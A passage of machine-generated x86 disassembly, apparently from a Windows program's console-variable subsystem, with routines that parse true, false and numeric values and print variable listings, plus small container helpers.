mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
mov esi, ecx
lea ecx, [esi+8Eh]
call sub_401C03
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Eh
push 12h
push 1
push 16h
lea eax, [esp+64h+var_3C]
push 3
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_40B2F0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
push 7
push 4Fh
push 12h
push 1
push 16h
lea edx, [esp+24h]
push 3
push edx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
push 13h
push 4Eh
push 12h
push 1
push 16h
lea ecx, [esp+3Ch]
push 3
push ecx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 2
call sub_4017EE
add esi, 60h
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
mov dword ptr [esp+3Ch], 0FFFFFFFFh
lea ecx, [esp+1Ch]
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B470 proc near ; CODE XREF: sub_40181Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = byte ptr 14h
arg_14 = byte ptr 18h
arg_18 = dword ptr 1Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push edi
mov ecx, [esp+8+arg_0]
push eax
add ecx, 1Eh
call sub_401FDC
mov eax, [esp+8+arg_0]
mov edx, [esp+8+arg_C]
push edx
lea ecx, [eax+33h]
call sub_401FDC
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_10]
mov edi, [esp+8+arg_8]
mov [ecx+48h], dl
mov eax, [esp+8+arg_0]
push edi
push eax
mov ecx, esi
call sub_401F50
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_14]
push edi
mov [ecx+4], dl
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_18]
mov [eax+5], ecx
mov ecx, [esp+0Ch+arg_0]
call sub_401FDC
lea edx, [esp+8+arg_0]
lea ecx, [esi+8Eh]
push edx
call sub_401915
sub_40B470 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
retn 1Ch
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B510 proc near ; CODE XREF: sub_401B72j
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_40B510
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
mov eax, [esp+54h+arg_C]
push ebp
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esp+64h+var_24]
call sub_401870
mov edi, eax
mov ecx, [esp+60h+arg_8]
mov [esp+60h+var_4], 0
push ecx
lea ecx, [esp+64h+var_3C]
call sub_401870
mov ebp, eax
mov edx, [esp+60h+arg_4]
lea ecx, [esp+60h+var_54]
push edx
mov byte ptr [esp+64h+var_4], 1
call sub_401870
mov ecx, [esp+60h+arg_18]
mov edx, [esp+60h+arg_14]
push ecx
mov ecx, [esp+64h+arg_10]
push edx
mov edx, [esp+68h+arg_0]
push ecx
push edi
push ebp
push eax
push edx
mov ecx, esi
mov byte ptr [esp+7Ch+var_4], 2
call sub_40181B
sub_40B510 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov byte ptr [esp+5Ch], 1
call sub_401226
lea ecx, [esp+24h]
mov byte ptr [esp+5Ch], 0
call sub_401226
lea ecx, [esp+3Ch]
mov dword ptr [esp+5Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+54h]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 54h
retn 1Ch
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B600 proc near ; CODE XREF: sub_4019DDj
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_401546
add esi, 8Eh
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_40145B
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_401C85
push eax
lea ecx, [esp+14h+var_8]
call sub_40136B
test al, al
jz short loc_40B681
mov edi, [esp+10h+arg_0]
loc_40B646: ; CODE XREF: sub_40B600+7Fj
push edi
lea ecx, [esp+14h+var_8]
call sub_401F78
mov ecx, [eax]
add ecx, 1Eh
call sub_4021D0
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_40B68B
call sub_40133E
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_401C85
push eax
lea ecx, [esp+14h+var_8]
call sub_40136B
test al, al
jnz short loc_40B646
loc_40B681: ; CODE XREF: sub_40B600+40j
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_40B68B: ; CODE XREF: sub_40B600+60j
call sub_401F78
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_40B600 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B6D0: ; CODE XREF: ___:00401460j
push 0FFFFFFFFh
push offset loc_439EF8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
mov eax, [esp+28h]
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
call sub_401870
mov ecx, [esp+30h]
mov dword ptr [esp+24h], 0
push ecx
push eax
mov ecx, esi
call sub_4019DD
lea ecx, [esp+4]
mov esi, eax
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 24h
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B760 proc near ; CODE XREF: sub_4015A0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_4015E1
mov ecx, esi
call sub_4017EE
push eax
call near ptr 77C1CF90h
nop
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push offset aTrue ; "true"
call sub_4012EE
test eax, eax
jnz short loc_40B7B1
mov byte ptr [esi+19h], 1
loc_40B7B1: ; CODE XREF: sub_40B760+4Bj
pop esi
retn 8
sub_40B760 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B7E0 proc near ; CODE XREF: sub_401F50j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
mov ecx, esi
mov eax, [edi+9]
push eax
call sub_4015E1
mov ecx, esi
call sub_4017EE
push eax
nop
call near ptr 77C1CF90h
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push offset aTrue ; "true"
call sub_4012EE
test eax, eax
jnz short loc_40B835
mov byte ptr [esi+19h], 1
loc_40B835: ; CODE XREF: sub_40B7E0+4Fj
mov cl, [edi+4]
mov [esi+4], cl
mov edx, [edi+5]
mov [esi+5], edx
pop edi
pop esi
retn 8
sub_40B7E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B870: ; CODE XREF: ___:00401D57j
fld dword ptr [esp+8]
push esi
mov esi, [esp+8]
sub esp, 8
fstp qword ptr [esp]
push offset aF ; "%f"
push esi
call sub_40102D
mov eax, [esp+1Ch]
add esp, 10h
mov ecx, esi
mov [esi+15h], eax
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
fld dword ptr [esp+10h]
fcomp flt_43F024
mov [esi+1Ah], eax
add esp, 4
mov byte ptr [esi+19h], 0
fnstsw ax
test ah, 1
jnz short loc_40B8C1
mov byte ptr [esi+19h], 1
loc_40B8C1: ; CODE XREF: ___:0040B8BBj
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B8F0: ; CODE XREF: ___:00401CA8j
push ebx
mov bl, [esp+0Ch]
test bl, bl
push esi
jz short loc_40B920
mov esi, [esp+0Ch]
push offset aTrue ; "true"
mov ecx, esi
call sub_4015E1
mov dword ptr [esi+15h], 3F800000h
mov dword ptr [esi+1Ah], 1
mov [esi+19h], bl
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40B920: ; CODE XREF: ___:0040B8F8j
mov esi, [esp+0Ch]
push offset aFalse ; "false"
mov ecx, esi
call sub_4015E1
xor eax, eax
mov [esi+19h], bl
mov [esi+15h], eax
mov [esi+1Ah], eax
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B960: ; CODE XREF: ___:00401D7Fj
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+10h]
push edi
push offset dword_4447F4
push esi
call sub_40102D
fild dword ptr [esp+1Ch]
add esp, 0Ch
cmp edi, 1
mov [esi+1Ah], edi
mov byte ptr [esi+19h], 0
fstp dword ptr [esi+15h]
jl short loc_40B990
mov byte ptr [esi+19h], 1
loc_40B990: ; CODE XREF: ___:0040B98Aj
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B9B0: ; CODE XREF: ___:loc_401AE1j
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_439F30
push eax
mov large fs:0, esp
sub esp, 4Ch
push ebx
push ebp
push esi
mov esi, [esp+68h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+4]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_40BAF2
lea ebx, [esi+69h]
mov ecx, ebx
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push offset aCvar ; "(cvar)"
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+6Ch]
call sub_401546
add ebp, 8Eh
lea edx, [esp+10h]
push edx
mov ecx, ebp
xor edi, edi
call sub_40145B
mov eax, [eax]
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
mov [esp+70h], eax
call sub_401C85
push eax
lea ecx, [esp+70h]
call sub_40136B
test al, al
jz loc_40BAEB
loc_40BA56: ; CODE XREF: ___:0040BAE5j
lea ecx, [esp+6Ch]
inc edi
call sub_401F78
mov ecx, [eax]
add ecx, 33h
call sub_4017EE
push eax
lea ecx, [esp+70h]
call sub_401F78
mov ecx, [eax]
call sub_4017EE
push eax
lea ecx, [esp+74h]
call sub_401F78
mov ecx, [eax]
add ecx, 1Eh
call sub_4017EE
push eax
push edi
push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")"
mov ecx, ebx
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 24h
push 5DCh
call near ptr 2831CE8h
nop
lea ecx, [esp+6Ch]
call sub_40133E
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
call sub_401C85
push eax
lea ecx, [esp+70h]
call sub_40136B
test al, al
jnz loc_40BA56
loc_40BAEB: ; CODE XREF: ___:0040BA50j
mov al, 1
jmp loc_40BC7A
; ---------------------------------------------------------------------------
loc_40BAF2: ; CODE XREF: ___:0040B9E7j
lea ecx, [ebp+32h]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_40BB85
push offset asc_444600 ; " "
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_4016B8
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 0
call sub_4019DD
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
test edi, edi
jz loc_40BC78
mov ecx, edi
call sub_4017EE
push eax
lea ecx, [edi+1Eh]
call sub_4017EE
push eax
push offset aSS_5 ; "%s = \"%s\""
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 1Ch
jmp loc_40BC7A
; ---------------------------------------------------------------------------
loc_40BB85: ; CODE XREF: ___:0040BB04j
lea ecx, [ebp+60h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_40BC78
push offset asc_444600 ; " "
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_4016B8
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 1
call sub_4019DD
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
test edi, edi
jz loc_40BC78
push edi
lea ecx, [esp+18h]
call sub_4014D3
mov ebx, 2
push 1
push offset asc_444600 ; " "
lea eax, [esp+4Ch]
push ebx
push eax
mov ecx, esi
mov [esp+74h], ebx
call sub_4011EA
push eax
push edi
mov ecx, ebp
mov byte ptr [esp+6Ch], 3
call sub_401F50
lea ecx, [esp+44h]
mov [esp+64h], bl
call sub_401226
lea ecx, [esp+14h]
call sub_4017EE
push eax
mov ecx, edi
call sub_4017EE
push eax
lea ecx, [edi+1Eh]
call sub_4017EE
push eax
push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]"
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 20h
lea ecx, [esp+14h]
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_40BC7A
; ---------------------------------------------------------------------------
loc_40BC78: ; CODE XREF: ___:0040BB40j
; ___:0040BB97j ...
xor al, al
loc_40BC7A: ; CODE XREF: ___:0040BAEDj
; ___:0040BB80j ...
mov ecx, [esp+5Ch]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 58h
retn 4
; ---------------------------------------------------------------------------
db 90h
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BD50 proc near ; CODE XREF: sub_401C08j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_4021EE
sub_40BD50 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BD90 proc near ; CODE XREF: sub_40155Fj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401C85
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40145B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40124E
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401FEB
sub_40BD90 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE00 proc near ; CODE XREF: sub_40145Bj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_402117
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_4014B0
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_40BE00 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE40 proc near ; CODE XREF: sub_401C85j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_4014B0
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_40BE40 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BE70 proc near ; CODE XREF: sub_401915j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401C85
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401C5D
sub_40BE70 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BEB0 proc near ; CODE XREF: sub_401C03j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401C85
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40145B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40124E
pop esi
add esp, 0Ch
retn
sub_40BEB0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF00 proc near ; CODE XREF: sub_401546j
push esi
mov esi, ecx
call sub_402158
mov eax, esi
pop esi
retn
sub_40BF00 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF20 proc near ; CODE XREF: sub_401F78j
mov eax, [ecx]
push eax
call sub_401848
add esp, 4
retn
sub_40BF20 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF40 proc near ; CODE XREF: sub_40133Ej
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_402117
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_40BF40 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF70 proc near ; CODE XREF: sub_40136Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401CFD
neg al
sbb eax, eax
inc eax
retn 4
sub_40BF70 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BFA0 proc near ; CODE XREF: sub_401C5Dj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4016AE
mov edi, eax
push edi
call sub_40215D
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_4021EE
sub_40BFA0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_40215D
push edi
mov [eax], ebx
call sub_40215D
mov edi, [eax]
push edi
call sub_40215D
mov ecx, [eax]
push ecx
call sub_402117
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401848
add esp, 4
mov ecx, esi
push eax
call sub_401F32
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_4014B0
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C040 proc near ; CODE XREF: sub_40124Ej
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_40136B
test al, al
jz short loc_40C09A
loc_40C058: ; CODE XREF: sub_40C040+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401B9A
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40106E
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_40136B
test al, al
jnz short loc_40C058
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_40C09A: ; CODE XREF: sub_40C040+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_40C040 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C0D0 proc near ; CODE XREF: sub_4021EEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401569
sub_40C0D0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_40C0E5
mov edi, esi
loc_40C0E5: ; CODE XREF: ___:0040C0E1j
push esi
call sub_402117
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_40C0FA
mov edi, esi
loc_40C0FA: ; CODE XREF: ___:0040C0F6j
push esi
call sub_40215D
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C120 proc near ; CODE XREF: sub_401FEBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_402077
sub_40C120 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C140 proc near ; CODE XREF: sub_402117j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_40C140 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C160 proc near ; CODE XREF: sub_401848j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_40C160 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C180 proc near ; CODE XREF: sub_402158j
mov eax, ecx
retn
sub_40C180 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C1A0 proc near ; CODE XREF: sub_4014B0j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40105A
mov eax, esi
pop esi
retn 4
sub_40C1A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C1D0 proc near ; CODE XREF: sub_401CFDj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_40C1D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C200 proc near ; CODE XREF: sub_40106Ej
var_4 = byte ptr -4
arg_4 = byte ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401B9A
mov ecx, eax
call sub_4016AE
mov esi, eax
push esi
call sub_402117
push esi
mov ebx, eax
call sub_40215D
mov ecx, [eax]
push ecx
call sub_402117
mov edx, [ebx]
push esi
mov [eax], edx
call sub_40215D
push esi
mov ebx, eax
call sub_402117
mov eax, [eax]
push eax
call sub_40215D
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401848
add esp, 1Ch
mov ecx, edi
push eax
call sub_401221
push esi
mov ecx, edi
call sub_401FEB
sub_40C200 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C2C0 proc near ; CODE XREF: sub_40215Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_40C2C0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C2E0 proc near ; CODE XREF: sub_401569j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_40C2E0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C310 proc near ; CODE XREF: sub_402077j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_40C310 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C330 proc near ; CODE XREF: sub_401F32j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4011AE
add esp, 8
retn 8
sub_40C330 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C360 proc near ; CODE XREF: sub_40105Aj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_40C360 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C380 proc near ; CODE XREF: sub_4016AEj
mov eax, [ecx]
retn
sub_40C380 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C3A0 proc near ; CODE XREF: sub_401B9Aj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40133E
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_40C3A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C3D0 proc near ; CODE XREF: sub_401221j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_2
pop ecx
retn 4
sub_40C3D0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C3F0 proc near ; CODE XREF: sub_4011AEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40C40B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40C40B: ; CODE XREF: sub_40C3F0+11j
retn
sub_40C3F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
